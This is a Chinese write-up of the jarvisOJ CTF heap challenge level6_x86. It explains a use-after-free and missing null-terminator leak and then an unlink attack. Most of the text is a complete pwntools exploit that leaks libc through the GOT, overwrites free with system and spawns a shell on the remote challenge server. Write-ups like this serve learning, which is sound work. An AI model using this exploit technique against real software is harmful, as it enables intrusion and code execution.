（jarvisOJ）（pwn）level6_x86

Unlink！Unlink！Unlink！

level6_x86作为一道堆溢出入门题，还是值得用来练练手，学习一下堆的基础的知识的。

参考文献：

ctf-wiki：https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/
大佬博客：https://blog.csdn.net/weixin_41617275/article/details/85270356

前言：

对于网上大多数大佬的思路都是改变本地的libc环境，然后手动查找libc地址，比如这位大佬传送门，但是鉴于我能力不够，不会这么高难度的工作，我还是老老实实泄露函数地址，用LibcSearcher工具泄露远程的libc版本再泄露基址算出偏移。

基本思路：

首先malloc4个堆块，先释放第一个和第三个，这样的话，这两个堆块会在unsortedbin中形成双向链表，由于题目中输入不加/x00，输出却要输出到/x00为止的特性漏洞，又因为程序free后没有把指针滞空，我们可以输出chunk0（第一个堆块）的bk也就是chunk2（第三个堆块）的地址，再加上系统固定的偏移，可以算出heap的基址，至于为什么要这个基址，建议看ctf-wiki，上面有网站地址。

做题步骤：

查看保护：

开了NX保护，栈段的保护，和我堆溢出有什么关系（雾）
进入IDA查看逻辑：

典型的菜单题，可以增删改查，非常适合作为溢出题。
我们直接说：增在输入时没加/x00，删没有把指针置空，改很正常，查要输出到/x00才结束，不然他不爽。
对于这些漏洞，我们利用一下，最主要的还是利用unlink的机制解题。
我这里有一点不同就是在泄露libc基址的时候没有在本地直接调出基址而是使用LibcSearcher工具进行泄露，对于新手来说还是比较友好的（毕竟不要改libc本地版本）
完整exp：

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
#context.log_level='debug'
p=remote('pwn2.jarvisoj.com',9885)
obj=LibcSearcher('free',0xf7607f30)
#p=process('./freenote_x86')
elf=ELF('./freenote_x86')
libc=ELF('./libc-2.19.so')
def List():
    p.recvuntil('Your choice: ')
    p.sendline('1')
def new(content):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Length of new note: ')
    p.sendline(str(len(content)))
    p.recvuntil('Enter your note:')
    p.send(content)
    p.recvuntil("Done.")
def edit(number,content):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil('Note number: ')
    p.sendline(str(number))
    p.recvuntil('Length of note: ')
    p.sendline(str(len(content)))
    p.recvuntil('Enter your note: ')
    p.send(content)
    p.recvuntil("Done.")
def delete(number):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.recvuntil('Note number: ')
    p.sendline(str(number))
new('A'*7)
new('B'*7)
new('C'*7)
new('D'*7)
delete(0)
delete(2)
new('000')
List()
p.recv(7)
heap_base=u32(p.recv(4))-0xd28
chunk0=heap_base+0x18
delete(0)
delete(1)
delete(3)
payload=p32(0)+p32(0x80)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)
payload=payload.ljust(0x80,'\x00')
payload+=p32(0x80)+p32(0x80)
payload=payload.ljust(0x80*2,'\x00')
new(payload)
sleep(0.2)
delete(1)
payload1=p32(2)+p32(1)+p32(4)+p32(elf.got['free'])+p32(1)+p32(8)+p32(heap_base+0xca8)
payload1=payload1.ljust(0x80*2,'\x00')
edit(0,payload1)
List()
p.recvuntil('0. ')
free_addr=u32(p.recv(4))
print hex(free_addr)
offset=free_addr-obj.dump('free')
sys_addr=obj.dump('system')+offset
edit(0,p32(sys_addr))
edit(1,'/bin//sh')
delete(1)
p.interactive()